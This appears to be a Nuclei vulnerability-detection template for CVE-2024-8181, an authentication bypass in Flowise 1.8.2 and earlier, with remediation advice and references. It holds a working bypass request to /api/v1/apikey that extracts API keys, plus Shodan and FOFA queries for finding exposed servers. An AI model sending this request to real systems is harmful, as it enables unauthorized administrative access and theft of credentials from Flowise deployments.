id: CVE-2024-8181

info:
  name: Flowise <= 1.8.2 Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An Authentication Bypass vulnerability exists in Flowise version 1.8.2. This could allow a remote, unauthenticated attacker to access API endpoints as an administrator and allow them to access restricted functionality.
  impact: |
    Unauthenticated attackers can bypass authentication to access administrative API endpoints, gaining unauthorized access to restricted functionality, API keys, and administrative operations.
  remediation: |
    Update Flowise to a version later than 1.8.2 to address the authentication bypass vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2024-33
    - https://tenable.com/security/research/tra-2024-22-0
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 7.3
    cve-id: CVE-2024-8181
    epss-score: 0.42783
    epss-percentile: 0.98586
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-2051052918
    fofa-query: title:"Flowise"
  tags: tenable,cve,cve2024,flowise,auth-bypass,vkev,vuln,ai

http:
  - raw:
      - |
        GET /api/v1/apikey?/api/v1/ping HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Referer: {{RootURL}}/document-stores

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apiKey"
          - "apiSecret"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: apiKey
        part: body
        internal: false
        group: 1
        regex:
          - '"apiKey":"([^"]+)"'
# digest: 490a00463044022048c220230b5bce32d3d898be99452a7d09b89483e56c7f9af3ab7c300cc016ef02205e2b86b4add3d710bfc97817cf3e8445b531c854680956bc4d61df982a8a7141:922c64590222798bb761d5b6d8e72950